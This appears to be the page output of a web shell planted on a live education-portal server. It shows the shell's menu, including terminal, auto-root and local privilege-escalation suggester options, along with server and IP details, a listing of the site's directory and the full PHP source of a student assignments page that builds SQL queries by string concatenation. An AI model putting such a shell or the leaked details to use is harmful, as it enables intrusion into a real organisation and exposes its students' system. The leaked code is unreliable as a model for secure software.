Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cesanet /
Delete
Unzip
Name
Size
Permission
Date
Action
BCE Home cover_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE Introduction_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE RESOURCE AND SUPPORT_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
BCE RULES AND REGULATIONS_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE THE LEARNING PROGRAMME_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
SpryAssets
[ DIR ]
drwxr-sr-x
2013-02-14 22:54
ajax
[ DIR ]
drwxr-sr-x
2026-08-20 14:43
assignments
[ DIR ]
drwxr-sr-x
2022-03-07 13:03
docthumbs
[ DIR ]
drwxr-sr-x
2022-03-14 09:40
facilitators
[ DIR ]
drwxr-sr-x
2012-01-18 08:00
guidelines
[ DIR ]
drwxr-sr-x
2021-04-29 08:34
images
[ DIR ]
drwxr-sr-x
2023-04-18 07:54
includes
[ DIR ]
drwxr-sr-x
2024-02-23 09:41
lightbox
[ DIR ]
drwxr-sr-x
2012-07-02 08:44
pdf
[ DIR ]
drwxr-sr-x
2012-03-15 12:53
pdf-viewer
[ DIR ]
drwxr-sr-x
2025-02-20 13:18
visual-countdown-timer
[ DIR ]
drwxr-sr-x
2021-11-03 09:27
activities.php
6.49
KB
-rw-r--r--
2024-02-23 09:36
activityadd.php
7.44
KB
-rw-r--r--
2024-02-23 09:36
advisory.php
1.37
KB
-rw-r--r--
2024-02-23 09:36
assignmentadd.php
43.1
KB
-rw-r--r--
2026-08-19 12:45
assignmentinfo.php
2.96
KB
-rw-r--r--
2025-02-24 16:01
assignmentpack.php
4.66
KB
-rw-r--r--
2024-02-23 09:36
assignmentpdf.php
3.64
KB
-rw-r--r--
2024-02-23 09:36
assignments.php
14.04
KB
-rw-r--r--
2026-06-24 12:03
assigsummary.php
12.25
KB
-rw-r--r--
2025-04-14 08:46
calendar.js
13.28
KB
-rw-r--r--
2024-02-23 09:36
calendar.php
502
B
-rw-r--r--
2024-02-23 09:47
cceregister.php
22.5
KB
-rw-r--r--
2013-10-09 08:40
changedates.php
1.35
KB
-rw-r--r--
2024-02-23 09:36
contacts.php
4.87
KB
-rw-r--r--
2025-06-26 12:42
contacts_students.php
2.34
KB
-rw-r--r--
2024-02-27 11:36
details.php
9.24
KB
-rw-r--r--
2025-02-06 10:38
document-pdf-proxy.php
1.95
KB
-rw-r--r--
2025-06-27 10:14
document-view.php
7.35
KB
-rw-r--r--
2025-06-27 12:42
download_student_agreement.php
1.71
KB
-rw-r--r--
2026-03-16 11:53
evaluations.php
6.85
KB
-rw-r--r--
2024-02-23 09:36
exam.php
47.02
KB
-rw-r--r--
2026-08-25 07:11
examresults.php
3.01
KB
-rw-r--r--
2026-02-17 09:45
extension.php
11.33
KB
-rw-r--r--
2026-08-19 12:45
feedback.php
3.91
KB
-rw-r--r--
2024-02-23 09:36
feedbackmsgs.php
5.04
KB
-rw-r--r--
2024-03-25 10:07
file-download.php
343
B
-rw-r--r--
2026-06-24 12:03
forgotpwd.php
2.57
KB
-rw-r--r--
2024-02-23 09:36
gallery.php
1.75
KB
-rw-r--r--
2024-02-23 09:36
guideline-view.php
812
B
-rw-r--r--
2026-02-17 09:45
guideline.php
1
KB
-rw-r--r--
2026-02-17 09:45
guideline_intro.php
14.2
KB
-rw-r--r--
2024-02-23 09:36
guideline_notes.php
2.35
KB
-rw-r--r--
2024-02-23 09:36
guideline_programme.php
39.82
KB
-rw-r--r--
2024-02-23 09:36
guideline_resources.php
21.47
KB
-rw-r--r--
2024-02-23 09:36
guideline_rules.php
44.97
KB
-rw-r--r--
2024-02-23 09:36
inc_dashboard.php
28.4
KB
-rw-r--r--
2026-08-20 12:16
inc_footer.php
412
B
-rw-r--r--
2025-02-20 13:01
inc_footer_html.php
59
B
-rw-r--r--
2024-02-23 09:36
inc_functions.php
1.86
KB
-rw-r--r--
2026-06-24 12:03
inc_guidelinemenu.php
944
B
-rw-r--r--
2024-02-23 09:36
inc_header.php
2.46
KB
-rw-r--r--
2025-02-20 13:01
inc_header_html.php
1.34
KB
-rw-r--r--
2024-02-23 09:36
inc_shared.php
27.07
KB
-rw-r--r--
2026-08-19 12:45
inc_sidebar.php
9.54
KB
-rw-r--r--
2026-05-13 15:17
index.php
8.47
KB
-rw-r--r--
2026-06-02 08:33
library-old.php
8.46
KB
-rw-r--r--
2024-02-16 11:19
library-render.php
11.09
KB
-rw-r--r--
2026-04-29 07:23
library.php
474
B
-rw-r--r--
2024-02-25 11:44
login.php
2.79
KB
-rw-r--r--
2025-02-06 10:39
logout.php
129
B
-rw-r--r--
2024-02-23 09:36
markmessagesread.php
546
B
-rw-r--r--
2024-02-23 09:36
messages.php
4.14
KB
-rw-r--r--
2026-05-05 11:48
modcontact.php
26.51
KB
-rw-r--r--
2026-07-30 15:46
module.php
2.78
KB
-rw-r--r--
2024-02-23 09:36
notices.php
2.73
KB
-rw-r--r--
2024-02-23 09:36
password.php
2.52
KB
-rw-r--r--
2024-02-23 09:36
pdfthumb.php
230
B
-rw-r--r--
2024-02-23 09:36
php_errors.log
14.11
KB
-rw-r--r--
2026-08-21 08:24
phpinfo.php
17
B
-rw-r--r--
2025-06-09 13:16
popups.php
1.71
KB
-rw-r--r--
2024-02-23 09:36
profile.php
14.69
KB
-rw-r--r--
2026-03-16 11:53
profile_mentor.php
4.23
KB
-rw-r--r--
2024-02-23 09:36
progress_report.php
2.53
KB
-rw-r--r--
2026-05-13 15:17
readmessage.php
2.49
KB
-rw-r--r--
2026-05-19 07:04
recommended.php
5.94
KB
-rw-r--r--
2024-02-16 11:18
resources.php
4.14
KB
-rw-r--r--
2024-02-23 09:36
results.php
1.54
KB
-rw-r--r--
2024-02-23 09:36
saveexam.php
5.72
KB
-rw-r--r--
2025-11-19 09:45
sentmessages.php
1.66
KB
-rw-r--r--
2024-03-27 09:30
style.css
26.86
KB
-rw-r--r--
2025-02-20 13:04
submittedactivities.php
2.98
KB
-rw-r--r--
2024-02-23 09:36
submittedassignments.php
7.78
KB
-rw-r--r--
2026-06-24 12:03
templates.php
2.08
KB
-rw-r--r--
2024-02-23 09:36
timetable-render.php
2.27
KB
-rw-r--r--
2025-02-20 13:03
timetable.php
476
B
-rw-r--r--
2024-03-16 16:02
v3_feedback_form.php
2.52
KB
-rw-r--r--
2026-05-27 08:23
v3_feedback_submit.php
2.55
KB
-rw-r--r--
2026-05-27 08:23
videos.php
4.06
KB
-rw-r--r--
2024-02-23 09:36
Save
Rename
<?php include("inc_functions.php"); //ini_set('display_errors', 1); //error_reporting(E_ALL); if (!isset($_SESSION["StudentID"]) || empty($_SESSION["StudentID"]) || $_SESSION["StudentID"] == null) header("Location: /cesanet/login.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/cesanet/includes/html_begin.php"); $maxDays = 7; if ($env == 'dev') { $maxDays = 70; } $assignmentExtensionRequestObj = new CCEStAssigExtensionRequest($sqlf); $cceUploadedFileService = new CceUploadedFileService(); $studentId = intval($_SESSION['StudentID']); ?> <h1>Assignments</h1> <p> <b><a href="submittedassignments.php">Click here to view a list of all your submitted assignments.</a></b> </p> <!-- <p><b><a href="submittedactivities.php">Click here to view a list of all your submitted activities.</a></b></p> --> <?php $moduleObj = new CCEModules($sqlf); $modules = $moduleObj->getList($_SESSION["StudentID"]); if (is_array($modules) && count($modules)) { ?> <ul class="nav nav-tabs" id="assignments" role="tablist"> <?php $cnt = 1; foreach ($modules as $rowMod) { ?> <li class="nav-item" role="presentation"> <button class="nav-link<?php echo $cnt == 1 ? ' active' : ''; ?>" id="mod-<?php echo $rowMod['ModuleNum']; ?>" data-bs-toggle="tab" data-bs-target="#mod-<?php echo $rowMod['ModuleNum']; ?>-pane" type="button" role="tab" aria-controls="mod-<?php echo $rowMod['ModuleNum']; ?>-pane" <?php echo $cnt == 1 ? ' aria-selected="true"' : ''; ?>><?php echo $rowMod["ModuleName"]; ?></button> </li> <?php $cnt++; } //foreach ?> </ul> <div class="tab-content" id="assignmentsContent"> <?php $cnt = 1; foreach ($modules as $rowMod) { ?> <div class="tab-pane fade<?php echo $cnt == 1 ? ' show active' : ''; ?>" id="mod-<?php echo $rowMod['ModuleNum']; ?>-pane" role="tabpanel" aria-labelledby="mod-<?php echo $rowMod['ModuleNum']; ?>" tabindex="<?php echo ($cnt - 1); ?>"> <h2 class="boldblue"><strong><a name="mod<?php echo $rowMod["ModuleNum"]; ?>" id="mod<?php echo $rowMod["ModuleNum"]; ?>"><?php echo $rowMod["ModuleName"]; ?></a></strong></h2> <p>· <a href="module.php?id=<?php echo $rowMod["CCEModuleID"]; ?>">Module Information</a><!--<br /> · <a href="assignmentpack.php?modid=<?php echo $rowMod["CCEModuleID"]; ?>" target="_blank">Download Assignment Pack (PDF)</a>--></p> <table border="1" cellpadding="2" cellspacing="0" width="95%" align="center"> <tr> <td width="40%"><b>Assignment</b></td> <td><b>Due Date</b></td> <td width="30%"><b>Actions</b></td> </tr> <?php $sql = "SELECT CCEAssignments.*, CCEStudentAssignments.CCEStudentAssigID FROM CCEAssignments LEFT JOIN CCEModAssignments USING (CCEAssignmentID) LEFT JOIN CCEStudentAssignments ON (CCEAssignments.CCEAssignmentID=CCEStudentAssignments.CCEAssignmentID AND CCEStudentAssignments.CCEStudentID=" . $_SESSION["StudentID"] . ") WHERE CCEAssignments.CCEModuleID=" . $rowMod["CCEModuleID"]; // if ($_SESSION["StudentID"] != 54) // $sql .= " AND ReleaseDate <= '" . date("Y-m-d") . "'"; if (CurrentStudent()) { $sql .= " AND Archived=0 AND YEAR(ReleaseDate) = YEAR(NOW())"; } else { $sql .= " AND CCEStudentAssignments.CCEStudentAssigID IS NOT NULL"; } $sql .= " ORDER BY RefNum, CCEStudentAssignments.CCEStudentAssigID DESC"; // echo $sql . '<br />'; $rec = mysql_query($sql); while ($row = mysql_fetch_assoc($rec)) { $extensionRequests = $assignmentExtensionRequestObj->findAllByStudentAssignment($_SESSION["StudentID"], $row['CCEAssignmentID']); $extensionRequests = $cceUploadedFileService->enrichStudentExtensionRequests( $extensionRequests, intval($row['CCEAssignmentID']), $studentId ); ?> <tr> <td><?php echo $row["RefNum"] . ": " . $row["AssignmentName"]; ?></td> <td><?php if (!empty($row["DueDate"])) { echo CCEStAssigExtensionRequest::getExtensionDueString($row, $extensionRequests); if (strtotime('+' . $maxDays . ' days', strtotime($row["DueDate"])) > time()) { ?> <a href="extension.php?id=<?php echo $row["CCEAssignmentID"]; ?>&CCEStudentAssigID=<?php echo $row["CCEStudentAssigID"]; ?>">Request Extension</a> <?php } } ?> <p> <?php $studentID = $_SESSION["StudentID"]; $assignmentID = $row['CCEAssignmentID']; include($_SERVER['DOCUMENT_ROOT'] . '/php/templates/cesanet/student_assignment_extensions.php'); ?> </p> </td> <td> <ul class="assignment-actions"> <li> <a href="assignmentinfo.php?id=<?php echo $row["CCEAssignmentID"]; ?>">Download <?php if ($row["AssigType"] == 0) { echo "Assignment"; } elseif ($row["AssigType"] == 1) { echo "Activity"; } else { echo "Assignment/ Activity"; } ?> Worksheet</a> </li> <?php if (CurrentStudent() && (($row["AssigType"] == 0) || ($row["AssigType"] == 2))) { ?> <li><a href="assignmentadd.php?id=<?php echo $row["CCEAssignmentID"]; ?>&CCEStudentAssigID=<?php echo $row["CCEStudentAssigID"]; ?>">Upload Your Assignment</a></li> <li><a href="assignmentadd.php?id=<?php echo $row["CCEAssignmentID"]; ?>&CCEStudentAssigID=<?php echo $row["CCEStudentAssigID"]; ?>">View Uploaded Assignment</a></li> <?php } if (($row["AssigType"] == 1) || ($row["AssigType"] == 2)) { ?> <!-- · <a href="activityadd.php?id=<?php echo $row["CCEAssignmentID"]; ?>">Upload Your Activity</a><br /> --> <?php } $sql = "SELECT CCEMessages.* FROM CCEMessages, CCEMessagesSentTo, CCEAssignmentFeedback, CCEStudentAssignments WHERE CCEMessages.CCEMessageID=CCEMessagesSentTo.CCEMessageID AND CCEMessages.CCEMessageID=CCEAssignmentFeedback.CCEMessageID AND CCEAssignmentFeedback.CCEStudentAssigID=CCEStudentAssignments.CCEStudentAssigID AND CCEStudentAssignments.CCEAssignmentID=" . $row["CCEAssignmentID"] . " AND CCEMessagesSentTo.SentType='Student' AND CCEMessagesSentTo.SentID=" . $_SESSION["StudentID"] . " ORDER BY SentDateTime DESC"; $recFB = mysql_query($sql); if (mysql_num_rows($recFB) > 0) { ?> <li><a href="feedbackmsgs.php?id=<?php echo $row["CCEAssignmentID"]; ?>">View Feedback</a></li> <?php } ?> </ul> <?php mysql_free_result($recFB); ?> </td> </tr> <?php } ?> </table> <?php $bNoAssigShown = true; $iThisYear = date("Y"); if (!CurrentStudent()) $iThisYear = $_SESSION["StudentYear"]; for ($iYear = $iThisYear; $iYear <= $iThisYear; $iYear++) { $sql = "SELECT CCEAssignments.RefNum, CCEAssignments.AssignmentName, MAX(CCEStudentAssignments.CCEStudentAssigID) As CCEStudentAssigID FROM (CCEAssignments INNER JOIN CCEStudentAssignments USING (CCEAssignmentID)) WHERE CCEAssignments.CCEModuleID=" . $rowMod["CCEModuleID"] . " AND CCEStudentAssignments.CCEStudentID=" . $_SESSION["StudentID"] . " AND YEAR(CCEStudentAssignments.DateSubmitted)=" . $iYear . " GROUP BY CCEAssignments.RefNum, CCEAssignments.AssignmentName ORDER BY RefNum"; $recA = mysql_query($sql); if (mysql_num_rows($recA) > 0) { ?> <p><strong>Assignments Completed (<?php echo $iYear; ?>):</strong></p> <table border="1" cellpadding="2" cellspacing="0" width="95%" align="center"> <tr> <td width="40%"><b>Assignment</b></td> <td><strong>Ruling</strong></td> </tr> <?php while ($rowA = mysql_fetch_assoc($recA)) { $sql = "SELECT CCEStudentAssignments.CCEAssignmentID, CCEStudentAssignments.Passed, CCEStudentAssignments.RulingCode, CCERulingCodes.Ruling FROM CCEStudentAssignments LEFT JOIN CCERulingCodes USING (RulingCode) WHERE CCEStudentAssignments.CCEStudentAssigID=" . $rowA["CCEStudentAssigID"]; // echo $sql; $rec = mysql_query($sql); if ($row = mysql_fetch_assoc($rec)) { $bNoAssigShown = false; ?> <tr> <td><?php echo $rowA["RefNum"] . ": " . $rowA["AssignmentName"]; ?></td> <td> <?php if (($row["Passed"] == 1) || ($row["Passed"] == 2)) echo $row["Ruling"]; if ($row["Passed"] == 0) echo "Not Yet Evaluated"; if ($row["Passed"] == 3) echo "Added to PoE"; ?> <?php if ($row["RulingCode"] == "R") { if (!isset($row["CCEStudentAssigID"])) { $row["CCEStudentAssigID"] = 0; } echo "<br><a href='assignmentadd.php?id=" . $row["CCEAssignmentID"] . "&CCEStudentAssigID=" . $row["CCEStudentAssigID"] . "'>Upload resubmission</a>"; echo "<br>Due by " . GetResubDate($row["CCEAssignmentID"]); } ?> <?php if ($row["RulingCode"] == "NE") echo "<br><a href='assignmentadd.php?id=" . $row["CCEAssignmentID"] . "&CCEStudentAssigID=" . $row["CCEStudentAssigID"] . "'>Upload enhancement</a>"; ?> </td> </tr> <?php } } ?> </table> <?php } else { if ($bNoAssigShown) { // echo "No assignments in this module have yet been completed."; } } } ?> <hr /> </div> <?php $cnt++; } //foreach ?> </div> <?php } //has modules include_once($_SERVER['DOCUMENT_ROOT'] . "/cesanet/includes/html_end.php");